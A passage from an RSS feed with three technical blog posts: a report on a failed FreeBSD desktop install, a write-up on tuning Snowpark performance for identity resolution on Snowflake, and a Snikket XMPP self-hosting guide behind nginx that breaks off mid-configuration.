            <description><![CDATA[I installed FreeBSD 13.2 with KDE today on my Dell Inspiron 5482. I have heard good things about FreeBSD primarily as an operating system for servers, but the project claims that it works well for desktop users as well. So, I thought I will give it a try. There were some things I had to figure out during the installation which I will note in this post for future reference. And I had to uninstall FreeBSD within hours of installation, due to issues I faced so it didn’t went well. I am going to list them here and how I figured out some things.
Regdomain selection during install
During install, the installer asked me to select a regdomain. I figured out that the default option – FCC/United States of America worked for me.
Xorg didn’t startup
Post installation, I installed xorg in FreeBSD and added a file /usr/local/etc/X11/xorg.conf.d/20-intel.conf as per the example 1 in the official handbook. But startx command wasn’t working, so I ran the command:
Xorg -configure
and  then
cp /root/xorg.conf.new /usr/local/etc/X11/xorg.conf followed by editing the file /usr/local/etc/X11/xorg.conf by changing Driver value to "i1915kms" under the Section “Device”.
Managing brightness during startup
When using FreeBSD, my keyboard’s brightness buttons were not working. To decrease brightness, I used the preinstalled backlight utility.
backlight -f /dev/backlight/backlight0 10
Credits to this answer.
I couldn’t manage the brightness to be automatically low at startup. It was at 100% after very time I booted.
Crashed frequently
The system crashed frequently and wasn’t stabled at all. It automatically reboots after some time. I tried to debug and fix, but couldn’t. So, for now I have uninstalled FreeBSD.
If you know any of the fixes, please let me know.]]></description>
            <content:encoded><![CDATA[<p>I installed FreeBSD 13.2 with KDE today on my Dell Inspiron 5482. I have heard good things about FreeBSD primarily as an operating system for servers, but the project claims that it works well for desktop users as well. So, I thought I will give it a try. There were some things I had to figure out during the installation which I will note in this post for future reference. And I had to uninstall FreeBSD within hours of installation, due to issues I faced so it didn&rsquo;t went well. I am going to list them here and how I figured out some things.</p>
<h2 id="regdomain-selection-during-install">Regdomain selection during install</h2>
<p>During install, the installer asked me to select a regdomain. I figured out that the default option &ndash; FCC/United States of America worked for me.</p>
<h2 id="xorg-didnt-startup">Xorg didn&rsquo;t startup</h2>
<p>Post installation, I installed xorg in FreeBSD and added a file <code>/usr/local/etc/X11/xorg.conf.d/20-intel.conf</code> as per the example 1 in the <a href="https://docs.freebsd.org/en/books/handbook/x11/#x-config-video-cards">official handbook</a>. But <code>startx</code> command wasn&rsquo;t working, so I ran the command:</p>
<p><code>Xorg -configure</code></p>
<p>and  then</p>
<p><code>cp /root/xorg.conf.new /usr/local/etc/X11/xorg.conf</code> followed by editing the file <code>/usr/local/etc/X11/xorg.conf</code> by changing Driver value to <code>&quot;i1915kms&quot;</code> under the Section &ldquo;Device&rdquo;.</p>
<h2 id="managing-brightness-during-startup">Managing brightness during startup</h2>
<p>When using FreeBSD, my keyboard&rsquo;s brightness buttons were not working. To decrease brightness, I used the preinstalled backlight utility.</p>
<p><code>backlight -f /dev/backlight/backlight0 10</code></p>
<p>Credits to <a href="https://superuser.com/a/1702828">this answer</a>.</p>
<p>I couldn&rsquo;t manage the brightness to be automatically low at startup. It was at 100% after very time I booted.</p>
<h2 id="crashed-frequently">Crashed frequently</h2>
<p>The system crashed frequently and wasn&rsquo;t stabled at all. It automatically reboots after some time. I tried to debug and fix, but couldn&rsquo;t. So, for now I have uninstalled FreeBSD.</p>
<p>If you know any of the fixes, please let me know.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[From Half A Day To Half An Hour! Performance Tuning Snowpark For Identity Resolution On Snowflake]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/performance-tuning-snowpark-for-identity</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/performance-tuning-snowpark-for-identity</guid>
            <pubDate>Sat, 29 Jul 2023 04:55:12 GMT</pubDate>
            <description><![CDATA[Scaling to millions of records on the x small size warehouse]]></description>
            <content:encoded><![CDATA[<p>We have spent the last few weeks on the <a href="https://www.zingg.ai/company/zingg-enterprise-snowflake">Zingg Identity Resolution product for Snowflake</a> by battle-testing it for deployment and scale. Built as an entry for the Snowflake Challenge and on top of the <a href="https://github.com/zinggAI/zingg/">Zingg Open Source</a> version, we already had a pretty solid application that could resolve entities at scale within Snowflake. So we did not expect any major hiccups in terms of the overall flow, model building, and prediction. Developer confidence, bolstered by feedback from users you may say ;-) However, since the product leverages Snowpark instead of Spark, we did expect a bit of performance tuning here and there. In this post, I wanted to share the challenges we faced and the changes we made to overcome them. Hope this is useful to others building on Snowflake. </p><p>To begin with, we had a 500k test record set running on the x-small size Snowflake warehouse in roughly 12 hours. Though the code was not tuned for Snowflake performance, the job ran successfully to completion without hiccups and we used this as our baseline. Entity Resolution is a tough problem, and harder to do at scale. We want to get maximum mileage out of Snowflake and ensure Zingg ran efficiently for our customers. Our philosophy is that the customer should not have to pay the computing bill for any inefficient code. Hence we always aim to extract maximum performance without throwing more hardware at the problem. Unless we absolutely have to. We also had a target dataset of roughly 2.5 million records, 5 times the baseline. This was a real customer dataset, with non-uniform distribution across fields and with triple the columns of our test set. When we do entity resolution, a 5-fold increase in the input with the same number of columns and match types leads to a 25-fold increase in the comparison complexity. As we have robust index learning based on training data in Zingg along with tons of performance optimizations, we expected the matching job to be somewhere close to 18 hours, which we were planning to tune. However, when we ran this dataset on the x-small Snowflake warehouse, we started seeing errors on session timeout intermittently after roughly 8 hours. </p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.learningfromdata.zingg.ai/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Sonal&#8217;s Newsletter! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><h5><code>com.snowflake.snowpark.SnowparkClientException: Error Code: 0408, Error message: Your Snowpark session has expired. You must recreate your session.<br>Authentication token has expired. The user must authenticate again.</code></h5><p></p><p>Running the Snowpark client as a background process or with nohup helped, and we were able to see the job continue to run beyond 24 hours. Surely this performance was not something we wanted to ship. So we killed the run after identifying the first set of bottlenecks. Our approach was to zero in on the hotspots and solve them surgically in the order of highest impact first. The highest impact was mostly about the functionality taking maximum time, but in some cases, we also fixed stuff that was earlier in the flow but slow enough to not let us go past a particular stage in a reasonable time. We used the query profiler by Snowflake extensively for understanding and improving the flow, along with some traces and timing logs in our own code base. The query profiler gives a lot of valuable statistics about the query plan, function timing, and which part of the code triggered the query. It also provides partition-level and row-level information, so it was our go-to source for hotspot identification as well as figuring out if our changes worked as expected. Here is a snapshot of how it looks.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!RUUK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7aa9710e-7304-4026-b287-6fd1b293be95_1857x876.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!RUUK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7aa9710e-7304-4026-b287-6fd1b293be95_1857x876.png 424w, https://substackcdn.com/image/fetch/$s_!RUUK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7aa9710e-7304-4026-b287-6fd1b293be95_1857x876.png 848w, https://substackcdn.com/image/fetch/$s_!RUUK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7aa9710e-7304-4026-b287-6fd1b293be95_1857x876.png 1272w, https://substackcdn.com/image/fetch/$s_!RUUK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7aa9710e-7304-4026-b287-6fd1b293be95_1857x876.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!RUUK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7aa9710e-7304-4026-b287-6fd1b293be95_1857x876.png" width="1456" height="687" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7aa9710e-7304-4026-b287-6fd1b293be95_1857x876.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:687,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:520973,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!RUUK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7aa9710e-7304-4026-b287-6fd1b293be95_1857x876.png 424w, https://substackcdn.com/image/fetch/$s_!RUUK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7aa9710e-7304-4026-b287-6fd1b293be95_1857x876.png 848w, https://substackcdn.com/image/fetch/$s_!RUUK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7aa9710e-7304-4026-b287-6fd1b293be95_1857x876.png 1272w, https://substackcdn.com/image/fetch/$s_!RUUK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7aa9710e-7304-4026-b287-6fd1b293be95_1857x876.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>At a high level, here is how the Zingg flow is structured:</p><p>Input Data &#8594; Index &#8594; Join On Index to get Approximate Similar Pairs &#8594; Pairwise Similarity Features &#8594; Predict Matches &#8594; Graph Processing</p><p>We learn an index on the input data to create approximately similar pairs. We then compute similarity features on these pairs and predict if the pair is a match or not. This output is clustered using graph algorithms to convert matched pairs to clusters.</p><p>Our logs indicated that the biggest bottleneck was the Predict Match flow. The. predict flow leveraged a Snowpark <a href="https://docs.snowflake.com/en/developer-guide/snowpark/python/creating-udtfs">user-defined table function</a> to return two columns.  The first was if a given pair was a match or not. The second was the score indicating the similarity of records in the pair with each other. The higher the score, the better the match. Since we returned more than one value from this function, we built it as a UDTF instead of a UDF. However, this UDTF was consuming the bulk of our processing time. Given that we were not really creating multiple rows per input row but returning multiple values per row, all the lateral joins we saw on the query plan did not make sense. It made a worthwhile experiment to convert the UDTF to a <a href="https://docs.snowflake.com/en/developer-guide/snowpark/python/creating-udfs">user defined function</a>, concatenating the prediction and the score in one value and extracting them out through another UDF. This worked like a charm and immediately cut down the processing on our baseline dataset from 12 hours to 5 and a half hours. More than a 2x improvement! This was a massive gain, but we clearly had more work to do. </p><p>We then set out to optimize the queries generated by Snowflake through the Snowpark code we had written. The bottlenecks here were mostly while indexing and generating the near-similar pairs. We saw that if we did computations on a <a href="https://docs.snowflake.com/en/developer-guide/snowpark/java/working-with-dataframes">Snowpark Dataframe</a> to build the index and then self-joined the Dataframe on the index, the index computations were repeated. This was counterintuitive to us, as we were using the same instance of the Dataframe. We tried to <a href="https://docs.snowflake.com/en/developer-guide/snowpark/java/working-with-dataframes">clone the Dataframe</a> as advised but that did not work. Finally, when we cached the Dataframe, the query plan was altered and our costly computations happened only once. The lesson here was that if the computation is costly and the Dataframe has to be used in a self-join, it is wise to cache the intermediate results. However, this has to be used with caution, as there is an overhead in temporary table creation and disk spillage. </p><p>Another optimization we did was on the range scan. We join the records on the computed index to build the pairs. To avoid pairs like Record A, Record B repeat as Record B, Record A, we filter out the pairs on ids. This is critical as the subsequent similarity feature processing is expensive. However, we saw that the join became a cartesian join with filtering pushed out to much later in the flow. This led to slow performance along with a suboptimal flow, making similarity feature computations that we did not need. We cached the Dataframe arising out of the join and changed the id1 &gt; id2 range query to id1-id2 &gt; 0, which pushed the filter at the right junction for our flow as well as changed the earlier cartesian join to a normal join. </p><p>Together, the above changes shaved off roughly 20% of runtime on our baseline dataset, and we were now down to 4 hours and 30 minutes of the entity resolution workflow on 500,000 records. </p><p>With these major fixes in, we profiled the run again, closely looking through the hotspots, and to our utter dismay, found that the predict function was still the most time-consuming part of the entity resolution workflow. This is a Python UDF that uses machine learning for the prediction. A pre-built model learnt from the training data is passed as an argument to the function along with multiple similarity features of the pair. This UDF predicts whether the pair is a match or not along with their similarity score. Since the features are different for different datasets, we do not know beforehand the shape of the feature columns. Hence we construct an array over the multiple features so that we can resolve different types of entities. In a good bad way, there was no code change we could do to optimize this function. Our code was concise and to the point, and there wasn&#8217;t anything to shave off here. So we focused on the Snowflake invocation of this UDF. We learned that <a href="https://docs.snowflake.com/en/developer-guide/udf/python/udf-python-batch">Snowflake advocates vectorizing UDFs</a>, especially if they involve matrices and other machine learning workloads. The vectorized UDFs are passed batches of rows, and return batches with results. This made immediate sense as invoking the UDF row by row was surely not going to help with the inherent matrix manipulations. Though we wanted to do this right away, there were quite a few challenges. </p><p>It was difficult for us to define the function signature as the column number and types were dynamic. Earlier we used to pass an array, so it had worked. After some thought, we were able to build the signature and define the function on the fly using the metadata we already had while creating the similarity features. Passing the model became tricky however and we were not able to deserialize it in the function no matter what we tried. It seemed there were some extra bytes added when the model was passed as a column received by the UDF as part of a Pandas Dataframe. The same code had been working earlier row by row, so the conversion of Snowframe Dataframe rows to Pandas Dataframe internally seemed to be the likely cause. There was another complexity. We were invoking the Python function through Java Snowpark API, so there were too many layers to unravel here. We went over the open-source code of Snowpark, we tried to add function logging and tracing, we tried to debug calling the UDF from Python, and we read all that we could..we pretty much did anything and everything we could think of! </p><p>After struggling for a few anxious days, we changed our approach and began persisting the model to a Snowflake stage. Our UDF would import that location and read and use the model. This finally solved the serde issue we were seeing earlier, along with reducing the data sent to the function. In hindsight, we should have tried this approach first, but at that time the thought was to only change what was absolutely necessary. The code for passing the model had been working for a while, and while tuning performance, it is important to control the changes. So we weren&#8217;t too wrong either. </p><p>It got a bit late in the day when we ran the build with these changes, and when the test dataset ran in half an hour, we were sure something was crazily wrong. Maybe we had left the bulk of our processing code commented out in the run by mistake? We saw the output table, the results were there, and the predictions looked accurate. It was hard to believe. Too weary to think further, we called it a day.</p><p>The next day we double-checked the output and everything was in order. We cross-checked. Yes, it looks fine. No, we are not sure. Not yet. Let us run it once more. Boom, the job was finished by the time we finished our daily catchup + coffee. </p><p>28 minutes. From 12 hours. From half a day to half an hour! 24x. </p><p>On an x-small warehouse resolving identities across multiple columns for 500,000 rows. Wow! High Five! Now we need a break. Mission Impossible Dead Reckoning, here we come! </p><p>It was now time to run the customer data set in their warehouse. Brimming with confidence, we fire the job and monitor it from time to time. Umm..it is not working. The predict function is still a bottleneck. For some reason, the batch size Snowflake has automatically chosen on this dataset is 10, while it was sending 1000 rows at a time to the function on our test data. Possibly because there are way too many columns here compared to our test data? The <a href="https://docs.snowflake.com/en/developer-guide/udf/python/udf-python-batch#setting-a-target-batch-size">batch size hint is just a hint</a>, but that seems to be the only ammunition we have right now. Will it work? So we modify the UDF and add the max batch size annotation. This has the desired effect, and we have some great results for our customers. </p><p>There were a few other changes we had to make to get here. For example, the Dataframe.show() function would cause an out of memory error on the  client machine if the data was big. While working on performance optimization, it is critical that functional parts of the code work flawlessly. We had used show() liberally in our code to verify the logic, assuming that it would limit the records sent to the Snowpark client by limiting rows in the warehouse itself. But show() works differently. It fetches everything to the client and then truncates to 10 rows. This was a bit counterintuitive, but an easy fix. </p><p>Overall we are super excited about the gains we have made and so happy that we have come this far. We hope the lessons above will help folks who are building on Snowflake and Snowpark. Feel free to talk to us if you are struggling with Snowpark/Snowflake performance issues, we would love to help and share our learnings! And if you know someone who needs entity resolution on Snowflake, please do send them our way :-) </p><p>Ciao!</p><p></p><p></p><p> </p><p></p><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.learningfromdata.zingg.ai/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Sonal&#8217;s Newsletter! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded>
            <author>Sonal Goyal</author>
            <enclosure url="https://substackcdn.com/image/fetch/$s_!RUUK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7aa9710e-7304-4026-b287-6fd1b293be95_1857x876.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[My Steps: Self hosting Snikket behind nginx]]></title>
            <link>https://ravidwivedi.in/posts/self-host-snikket-behind-nginx/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/self-host-snikket-behind-nginx/</guid>
            <pubDate>Tue, 25 Jul 2023 20:23:54 GMT</pubDate>
            <description><![CDATA[Snikket is a server side software for XMPP chat communications. This guide is for anyone who wants to set up a Snikket server behind nginx. The operating system on the server is debian in my case. My guide is based on the official guide.
Run all the commands mentioned below as root.
Point your domain to server’s IP address
Install curl for debian
apt install curl

Now run:
curl -4 ifconfig.co

The output of the previous command is the IP Address of the server you are using.
Create an A record corresponding to the domain you want to use. Since I have domain ravidwivedi.in, I will deploy my chat server at the subdomain chat.ravidwivedi.in.
Create CNAME records for groups.chat.ravidwivedi.in and share.chat.ravidwivedi.in so that they point to chat.ravidwivedi.in
Open required ports
Open required ports if you are behind a firewall like ufw. The official Snikket docs list which ones you have to allow.
Docker and snikket configuration
Install docker and docker-compose packages on your server. The commands for debian are:
apt install docker docker-compose

Snikket configuration
Create a snikket config file and download docker-compose.yml file prepared by the Snikket project.
mkdir /etc/snikket
cd /etc/snikket
curl -o docker-compose.yml https://snikket.org/service/resources/docker-compose.beta.yml

Create a file named snikket.conf in the /etc/snikket directory with the following contents (replace appropriate fields according to your domain and email):
# The primary domain of your Snikket instance
SNIKKET_DOMAIN=chat.ravidwivedi.in

# An email address where the admin can be contacted
# (also used to register your Let's Encrypt account to obtain certificates)
SNIKKET_ADMIN_EMAIL=your-email@ravidwivedi.in

Nginx config and HTTPS
For nginx setup, we follow Snikket project’s reverse proxy docs. We will also setup HTTPS certificates using certbot. Let’s install nginx and certbot:
apt install nginx python3-certbot-nginx

Obtain certificates for all the subdomains
certbot certonly --standalone -d share.chat.ravidwivedi.in -d groups.chat.ravidwivedi.in  -d chat.ravidwivedi.in

The output for me was:
Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/chat.ravidwivedi.in/fullchain.pem
Key is saved at:         /etc/letsencrypt/live/chat.ravidwivedi.in/privkey.pem
This certificate expires on 2023-10-23.
These files will be updated when the certificate renews.
Certbot has set up a scheduled task to automatically renew this certificate in the background.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
If you like Certbot, please consider supporting our work by:
 * Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
 * Donating to EFF:                    https://eff.org/donate-le
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

We want nginx to listen at ports 80 and 443. So, let’s direct Snikket to bind to ports 5080 and 5443 to avoid conflict with nginx. To do this, add these lines to /etc/snikket/snikket.conf:
SNIKKET_TWEAK_HTTP_PORT=5080
SNIKKET_TWEAK_HTTPS_PORT=5443

Now create a file /etc/nginx/sites-available/chat.ravidwivedi.in and add the following contents to it, followed by replacing ravidwivedi.in with your domain name and specifying correct ssl_certificate path to the location of your certificates.
server {
  # Accept HTTP connections
  listen 80;
  listen [::]:80;

  server_name chat.ravidwivedi.in;
  server_name groups.chat.ravidwivedi.in;
  server_name share.chat.ravidwivedi.in;

  location / {
      proxy_pass http://localhost:5080/;
      proxy_set_header      Host              $host;
      proxy_set_header      X-Forwarded-For   $proxy_add_x_forwarded_for;

      # This is the maximum size of uploaded files in Snikket
      client_max_body_size 104857616; # 100MB + 16 bytes
  }
}

server {
  # Accept HTTPS connections
  listen [::]:443 ssl ipv6only=on;
  listen 443 ssl;
  ssl_certificate /path/to/certificate.pem;
  ssl_certificate_key /path/to/key.pem;

  server_name chat.ravidwivedi.in;
  server_name groups.chat.ravidwivedi.in;
  server_name share.chat.ravidwivedi.in;

  location / {
      proxy_pass https://localhost:5443/;
      proxy_set_header      Host              $host;
      proxy_set_header      X-Forwarded-For   $proxy_add_x_forwarded_for;
      # REMOVE THIS IF YOU CHANGE `localhost` TO ANYTHING ELSE ABOVE
      proxy_ssl_verify      off;
      proxy_set_header      X-Forwarded-Proto https;
      proxy_ssl_server_name on;

      # This is the maximum size of uploaded files in Snikket
      client_max_body_size 104857616; # 100MB + 16 bytes

      # For BOSH and WebSockets
      proxy_set_header Connection $http_connection;
      proxy_set_header Upgrade $http_upgrade;
      proxy_read_timeout 900s;

  }
}

In the above config, we need to specify path to our certificates created by certbot in an earlier step of this guide. Locate the following lines:
ssl_certificate /path/to/certificate.pem;
ssl_certificate_key /path/to/key.pem;

The output of my certbot command earlier told me that the certificates are at /etc/letsencrypt/live/chat.ravidwivedi.in/fullchain.pem and ssl_key is at /etc/letsencrypt/live/chat.ravidwivedi.in/privkey.pem
So we change the above mentioned two lines in the nginx config at /etc/nginx/sites-available/chat.ravidwivedi.in to:
ssl_certificate /etc/letsencrypt/live/chat.ravidwivedi.in/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/chat.ravidwivedi.in/privkey.pem;

After making these changes to file, save it. Now, create symlink to /etc/nginx/sites-enabled/chat.ravidwivedi.in file by running the command:
ln -s /etc/nginx/sites-available/chat.ravidwivedi.in /etc/nginx/sites-enabled/chat.ravidwivedi.in

Restart nginx:
systemctl restart nginx

You can also check if nginx syntax is correct by running
nginx -t

If the output of this command indicates an error, you need to fix that error before moving on.
Launch Snikket
Go back into /etc/snikket directory by running:
cd /etc/snikket

Now run:
docker-compose up -d

After the command run is complete, visit chat.ravidwivedi.in and you will see a login page as in the screenshot below.
If you don’t see this login page, there is some error in your setup.
If you are able to see that login page, create an account with admin privileges by running the command:
docker exec snikket create-invite --admin --group default

Post install
Snikket project has a page mentioning additional lines you can add to your snikket config file, like for example, setting limit on size of each attachment. Also, check out the upgrade page on how to keep snikket software updated.
If you are using Snikket, be sure to donate to the Snikket project to support them.]]></description>
            <content:encoded><![CDATA[<p><a href="https://snikket.org/">Snikket</a> is a server side software for XMPP chat communications. This guide is for anyone who wants to set up a Snikket server behind nginx. The operating system on the server is <a href="https://debian.org">debian</a> in my case. My guide is based on the <a href="https://snikket.org/service/quickstart/">official guide</a>.</p>
<p>Run all the commands mentioned below as root.</p>
<h2 id="point-your-domain-to-servers-ip-address">Point your domain to server&rsquo;s IP address</h2>
<p>Install <code>curl</code> for debian</p>
<pre tabindex="0"><code>apt install curl
</code></pre><p>Now run:</p>
<pre tabindex="0"><code>curl -4 ifconfig.co
</code></pre><p>The output of the previous command is the IP Address of the server you are using.</p>
<p><a href="https://easydmarc.com/blog/what-is-dns-a-record-and-how-to-add-an-a-record-to-dns/">Create an A record</a> corresponding to the domain you want to use. Since I have domain <code>ravidwivedi.in</code>, I will deploy my chat server at the subdomain <code>chat.ravidwivedi.in</code>.</p>
<p>Create CNAME records for <code>groups.chat.ravidwivedi.in</code> and <code>share.chat.ravidwivedi.in</code> so that they point to <code>chat.ravidwivedi.in</code></p>
<h2 id="open-required-ports">Open required ports</h2>
<p>Open required ports if you are behind a firewall like ufw. The <a href="https://github.com/snikket-im/snikket-server/blob/master/docs/advanced/firewall.md">official Snikket docs</a> list which ones you have to allow.</p>
<h2 id="docker-and-snikket-configuration">Docker and snikket configuration</h2>
<p>Install <code>docker</code> and <code>docker-compose</code> packages on your server. The commands for debian are:</p>
<pre tabindex="0"><code>apt install docker docker-compose
</code></pre><h2 id="snikket-configuration">Snikket configuration</h2>
<p>Create a snikket config file and download <code>docker-compose.yml</code> file prepared by the Snikket project.</p>
<pre tabindex="0"><code>mkdir /etc/snikket
cd /etc/snikket
curl -o docker-compose.yml https://snikket.org/service/resources/docker-compose.beta.yml
</code></pre><p>Create a file named <code>snikket.conf</code> in the <code>/etc/snikket</code> directory with the following contents (replace appropriate fields according to your domain and email):</p>
<pre tabindex="0"><code># The primary domain of your Snikket instance
SNIKKET_DOMAIN=chat.ravidwivedi.in

# An email address where the admin can be contacted
# (also used to register your Let&#39;s Encrypt account to obtain certificates)
SNIKKET_ADMIN_EMAIL=your-email@ravidwivedi.in
</code></pre><h2 id="nginx-config-and-https">Nginx config and HTTPS</h2>
<p>For nginx setup, we follow Snikket project&rsquo;s <a href="https://github.com/snikket-im/snikket-server/blob/master/docs/advanced/reverse_proxy.md">reverse proxy docs</a>. We will also setup HTTPS certificates using certbot. Let&rsquo;s install <code>nginx</code> and <code>certbot</code>:</p>
<pre tabindex="0"><code>apt install nginx python3-certbot-nginx
</code></pre><p>Obtain certificates for all the subdomains</p>
<pre tabindex="0"><code>certbot certonly --standalone -d share.chat.ravidwivedi.in -d groups.chat.ravidwivedi.in  -d chat.ravidwivedi.in
</code></pre><p>The output for me was:</p>
<pre tabindex="0"><code>Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/chat.ravidwivedi.in/fullchain.pem
Key is saved at:         /etc/letsencrypt/live/chat.ravidwivedi.in/privkey.pem
This certificate expires on 2023-10-23.
These files will be updated when the certificate renews.
Certbot has set up a scheduled task to automatically renew this certificate in the background.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
If you like Certbot, please consider supporting our work by:
 * Donating to ISRG / Let&#39;s Encrypt:   https://letsencrypt.org/donate
 * Donating to EFF:                    https://eff.org/donate-le
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
</code></pre><p>We want nginx to listen at ports 80 and 443. So, let&rsquo;s direct Snikket to bind to ports 5080 and 5443 to avoid conflict with nginx. To do this, add these lines to <code>/etc/snikket/snikket.conf</code>:</p>
<pre tabindex="0"><code>SNIKKET_TWEAK_HTTP_PORT=5080
SNIKKET_TWEAK_HTTPS_PORT=5443
</code></pre><p>Now create a file <code>/etc/nginx/sites-available/chat.ravidwivedi.in</code> and add the following contents to it, followed by replacing <code>ravidwivedi.in</code> with your domain name and specifying correct <code>ssl_certificate</code> path to the location of your certificates.</p>
<pre tabindex="0"><code>server {
  # Accept HTTP connections
  listen 80;
  listen [::]:80;

  server_name chat.ravidwivedi.in;
  server_name groups.chat.ravidwivedi.in;
  server_name share.chat.ravidwivedi.in;

  location / {
      proxy_pass http://localhost:5080/;
      proxy_set_header      Host              $host;
      proxy_set_header      X-Forwarded-For   $proxy_add_x_forwarded_for;

      # This is the maximum size of uploaded files in Snikket
      client_max_body_size 104857616; # 100MB + 16 bytes
  }
}

server {
  # Accept HTTPS connections
  listen [::]:443 ssl ipv6only=on;
  listen 443 ssl;
  ssl_certificate /path/to/certificate.pem;
  ssl_certificate_key /path/to/key.pem;

  server_name chat.ravidwivedi.in;
  server_name groups.chat.ravidwivedi.in;
  server_name share.chat.ravidwivedi.in;

  location / {
      proxy_pass https://localhost:5443/;
      proxy_set_header      Host              $host;
      proxy_set_header      X-Forwarded-For   $proxy_add_x_forwarded_for;
      # REMOVE THIS IF YOU CHANGE `localhost` TO ANYTHING ELSE ABOVE
      proxy_ssl_verify      off;
      proxy_set_header      X-Forwarded-Proto https;
      proxy_ssl_server_name on;

      # This is the maximum size of uploaded files in Snikket
